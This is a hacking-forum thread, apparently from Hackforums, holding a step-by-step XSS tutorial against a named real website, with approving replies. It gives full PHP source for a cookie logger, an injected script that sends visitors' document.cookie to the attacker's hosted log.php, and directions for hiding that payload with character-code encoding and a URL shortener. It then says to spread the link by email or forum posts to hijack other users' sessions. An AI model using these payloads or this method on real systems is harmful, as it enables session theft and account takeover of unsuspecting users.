Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

XSS walk through.

It takes you to Hackforums.

You can also add images, bear in mind, an image of your choice may appear on the vulnerable page of the website, that does not mean it is defaced, it will disappear after a simple F5 refresh. this is called a Non-persistent XSS vulnerability.

For a site to be defaced with XSS, it needs to be running app's that store user input data, for example, a guestbook or blog could enable a permanent deface, as your script is stored in the database. this is called a persistent XSS vulnerability.

The code for adding an image to an XSS vuln site is:

<img src="http://i205.photobucket.com/albums/bb181/1-vipvince-/deface.jpg">

^^This basically is the XSS image script with the desired web hosting server and path to the image of my choice, in this case its stored on photobucket.com, my account username is vipvince and the image is called deface.jpg

The overall link looks like this:

http://www.buymichiganproducts.com/Publi...hp?id=<img src="http://i205.photobucket.com/albums/bb181/1-vipvince-/deface.jpg">

The second type of attack, Cookie Logger.

For this we need two files, the cookie logger php file, and an empty txt file for the cookie data to be stored.

Credits go to Kr3w for coding this cookie logger.

<?php
/*
Kr3w's Cookie Logger
www.thedefaced.org
*/

$ip = $_SERVER['REMOTE_ADDR'];
$cookie = $_GET['cookie'];
$referer = $_SERVER['HTTP_REFERER'];
$browser = $_SERVER['HTTP_USER_AGENT'];
$redirect = $_GET['redirect'];

$data = "IP: " . $ip . "\n"
."Cookie: " . $cookie . "\n"
."Referrer: " . $referer . "\n"
."Browser: " . $browser . "\n\n";

$log = "cookies.txt";
@chmod($log, 0777);

$f = fopen($log, 'a');
fwrite($f, $data);
fclose($f);

@header("Location: $redirect");

?>

Paste that into notepad and call it log.php, also create an empty notepad file called cookies.txt

Now register on a free web hosting site that will host these files for you, I personally use:

http://www.#/login/

Upload the two files, now all you have to do is configure the vulnerable website link to redirect to the server the cookie logger is hosted on.

http://www.buymichiganproducts.com/Publi...t.location=' http://vipvince.#/log.php?+document.cookie;</script>

^^Configure just this part to the particular hosting webserver your file is located on, I paste this into my browser, and get an error displayed on the page of the XSS vulnerable site, not lets check the cookies.txt file for any data stored.

[img]http://i205.photobucket.com/albums/bb181/1-VIP-/print.jpg[/img]

Success, so we now know this link:

http://www.buymichiganproducts.com/Publi...t.location=' http://vipvince.#/log.php?+document.cookie;</script> is working and stealing cookies as it just done with me.

However the link isnt very convincing, you need to find an online Decimal ASCII converter, here is one below:

http://web.archive.org/web/2008082202452..._conv.html

Now you need to convert this part into decimal value:

<script>document.location='http://vipvince.#/log.php?+document.cookie;</script>

The result will look like this:

60, 115, 99, 114, 105, 112, 116, 62, 100, 111, 99, 117, 109, 101, 110, 116, 46, 108, 111, 99, 97, 116, 105, 111, 110, 61, 39, 104, 116, 116, 112, 58, 47, 47, 118, 105, 112, 118, 105, 110, 99, 101, 46, 116, 51, 53, 46, 99, 111, 109, 47, 99, 111, 111, 107, 105, 101, 46, 112, 104, 112, 63, 43, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 111, 111, 107, 105, 101, 59, 60, 47, 115, 99, 114, 105, 112, 116, 62

This is decimal ASCII.

Now stage 2.

I want to convert that to hex code so i go to an online hex converter:

http://gardenersbay.com/tools/ascii-hex/

<script>document.write(String.fromCharCode(60, 115, 99, 114, 105, 112, 116, 62, 100, 111, 99, 117, 109, 101, 110, 116, 46, 108, 111, 99, 97, 116, 105, 111, 110, 61, 39, 32, 104, 116, 116, 112, 58, 47, 47, 118, 105, 112, 118, 105, 110, 99, 101, 46, 116, 51, 53, 46, 99, 111, 109, 47, 99, 111, 111, 107, 47, 99, 111, 111, 107, 105, 101, 46, 112, 104, 112, 63, 43, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 111, 111, 107, 105, 101, 59, 60, 47, 115, 99, 114, 105, 112, 116, 62));</script>

Add the code I have highlighted in green to the start and end of the decimal ASCII code.

This is the Hexed result:

Spoiler (Click to View)

Then I take the URL of the xss vulnerable site, and add the hex code to it below like this

Spoiler (Click to View)

Now all you have to do is take the Hexed URL above^^, to tinyurl.com which will shorten it down for you to something like http://tinyurl.com/yfxluvle

Thats the cookie logger site and grabber fully encoded. Alot more believable now and more likely to be clicked.

So now basically when http://tinyurl.com/yfxluvle is clicked the cookie is taken.

I now need to email or send this on a forum, once its clicked i get the cookie from the particular forum it is clicked on etc, for example,If i pasted it on a bebo blog, and a user clicks it while on bebo, I would get his/her bebo cookie.

I want to give a thanks and vouch for Cybersecurity as his Ebook really helped to further my XSS knowledge, and I would advise anyone interested in XSS to get a copy of his book, as it does have alot of useful information.🤝
nice tut vince :] very well explained
hmmm nice post, it's a bad thing the site i was planning uses filtering, you can post with html but they delete all in <script> tags
Nice post.Not many members are interested since they are skids and like RATs and Keyloggers.Good job and thanks for vouch :) !
Cheers! I know a couple of XSS vulnerable sites :]
Great guide, tyvm. :)
very nice guide... thanks 🙂
good stuff, really helped me out.
Always been a fan of VipVince tutorial..
Thanks for posting..
This should be stickied in the Website & Forum hacking section
just saying
Great tut there mate. Well documented and elaborated from beginning to end, along with supported examples and reference links.
A very nice contribution Indeed :)
nice tut,will save it ;-)
Nice guide Vince.

Good explained.
Nice guide. I was quite confused about how to use XSS before


Possibly Related Threads...
Thread / Author Replies Views Last Post
by ZentharaMay 22, 2025 03:48 PM 0 691 May 22, 2025 03:48 PM
Last Post: Zenthara
by ~[DogiD]~Jul 2, 2023 09:34 AM 74 12,739 Jul 2, 2023 09:34 AM
Last Post: SIM-5382664
by webbOct 17, 2019 06:17 PM 73 3,658 Oct 17, 2019 06:17 PM
Last Post: sain321